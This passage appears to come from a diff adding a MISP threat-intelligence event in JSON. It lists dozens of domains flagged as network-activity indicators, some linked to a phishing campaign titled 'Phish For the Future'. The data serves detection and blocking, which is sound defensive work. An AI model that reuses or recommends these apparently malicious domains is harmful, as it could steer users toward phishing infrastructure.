"timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostsecuremail544.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18956", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-b4a4-4b8d-ae21-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linuxserverfast.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "linuxserverfast.com" + } + } + ] + }, + { + "id": "18701", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-3aa4-42eb-9d3d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shrtnerlnk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18957", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-73d8-4115-838f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "tinyurlshortner.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "tinyurlshortner.com" + } + } + ] + }, + { + "id": "18702", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-ed18-48ee-a223-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailingserver938.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18958", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-7b90-41ef-9af5-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "msgrdrg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18703", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0284-4135-adbb-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailserver499.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18959", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-ea70-40df-ab83-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dnsserverprv.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18704", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-1c10-41e3-a906-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserverru2099.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18960", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-8704-4ba7-b7b8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "economyservicesil.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "economyservicesil.com" + } + } + ] + }, + { + "id": "18705", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-650c-4b2f-9da1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "netsecureserver399.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18961", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-d554-4553-833a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "portfoliofasinating.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "portfoliofasinating.com" + } + } + ] + }, + { + "id": "18706", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-06d8-4dfd-899b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "lnkshrtnr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18962", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-214c-4a18-84c3-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "selectiveservicemax.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "selectiveservicemax.com" + } + } + ] + }, + { + "id": "18707", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-abc4-47f7-8141-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailsecurenode.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18963", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-a520-446a-8154-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "maxlaboratories.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "maxlaboratories.com" + } + } + ] + }, + { + "id": "18708", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-9570-481d-b627-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostemailsecureserver.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18964", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-1e04-4f54-9d73-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostfeasta.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18709", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-55b4-4f05-bb4a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailmarknotes.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18965", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-e1a8-480a-85ca-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "readmytipsntricks.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18710", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-5dd8-4f6b-831e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailhostsecurehk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18966", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-15f0-4ebc-818d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "backwaterreservoir.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "backwaterreservoir.com" + } + } + ] + }, + { + "id": "18711", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-eb54-4f98-8f5d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailgatorservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18967", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-6930-47e1-ad77-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "supportserviceeu.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18712", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-5ab4-4cec-8481-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "netsecureemailservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18968", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-2c70-49dc-9b5e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bellsouthnetwork.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "bellsouthnetwork.com" + } + } + ] + }, + { + "id": "18713", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-6764-490c-b5a6-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linkshortnr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18969", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-886c-4f69-b4d5-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "homeremedytipntricks.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "homeremedytipntricks.com" + } + } + ] + }, + { + "id": "18714", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-03f8-4089-9ec3-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailhostingsecurenet.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18970", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-c58c-44a6-9981-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "cathostingservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18715", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-d6fc-4d48-8374-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailtransferserver.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18971", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-792c-42eb-b93e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "economyfeeds.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "economyfeeds.com" + } + } + ] + }, + { + "id": "18716", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-9de4-416e-82c6-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emaildeliverysuccess.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18972", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-51e8-4732-bf38-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "productdemoservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18717", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-7ca0-4ba3-8d25-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailmarkservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18973", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-0010-4ce9-aede-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ultimateresponseservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18718", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-33a0-4ca5-8ef5-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailcommunicationservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18974", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-0a28-4f20-a141-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "cyberserverusa.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "cyberserverusa.com" + } + } + ] + }, + { + "id": "18719", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-7aa0-48bf-ad8b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailrockservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18975", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-06e8-4cda-9533-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ecoserveraus.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "ecoserveraus.com" + } + } + ] + }, + { + "id": "18720", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-92e4-4d8e-a145-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainemailhostings.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18976", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-7710-4657-9242-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "forumtechtopic.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18721", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-51b4-470b-8bc8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "rockerhostings.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18977", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-a838-47c5-b462-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "interserver439.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18722", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-7ff4-4f69-890c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "basemailservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18978", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-b700-4dd5-8f65-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "nameserver3476.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18723", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-2178-458e-a517-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostmailsecureserver.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18979", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-ed3c-4f42-ba2f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "onlinemusicstoreuk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18724", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-ffa4-4456-8d11-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailpostsecureservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18980", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-b35c-450a-93ba-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "chatserverrussia.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18725", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-26c0-48ae-be69-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "strurl.click", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18981", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-b734-45bc-ac73-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "secureemailserver65.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18726", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-90f0-4667-8747-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "securemailhost46.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18982", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-11c4-44d6-8fb5-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "snaphosterservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18727", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-9658-41ca-8e4e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostmailsecure.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18983", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-4364-4cc2-a094-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "siteadminhk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18728", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-fc84-4a5c-a9b1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailpostsecure.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18984", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-e82c-404a-9286-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "nameserverredirect.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18729", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-cdf8-44a2-948a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailsecurehost.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18985", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-1da0-4549-96cc-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "affiliatedomainservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18730", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-a3b8-455c-ab4c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailapiservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18986", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-db3c-441b-afc6-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "siteadmineurope.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18731", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-e3dc-4e89-afab-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailchimpservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18987", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-199c-47f6-bb3d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "sitebloginfo.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18732", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-deb8-4412-95d1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "postmarkapiservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18988", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-d444-40a9-a6e0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "xpertdomain.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18733", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-bc48-433f-ba2f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "loginservercheck.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18989", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-b878-4327-a297-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "aplsrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18734", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-90dc-40ea-9a33-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "checkmailserverhk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18990", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-c86c-4e8e-bb6f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bsrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18735", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-a478-4713-a96a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shortlinkcut.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18991", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-8f54-43b7-83ef-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "csrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18736", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0f94-4924-8a79-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webserverhollandservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18992", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-0254-48bb-8890-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dsrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18737", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-a3b4-4400-8ce4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "postserviceemaildomain.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18993", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-d6c4-4236-ad25-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "esrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18738", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-e694-4282-9f6a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webhostwebcare.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18994", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-d9b0-45f0-892c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "isrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18739", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-7628-40c5-86c9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "santanaservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18995", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-450c-4d31-a992-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "zsrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18740", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-6d40-4201-8e7b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailhostholland.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18996", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-0cfc-4388-816d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "inrsrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "inrsrvrer.com" + } + } + ] + }, + { + "id": "18741", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": 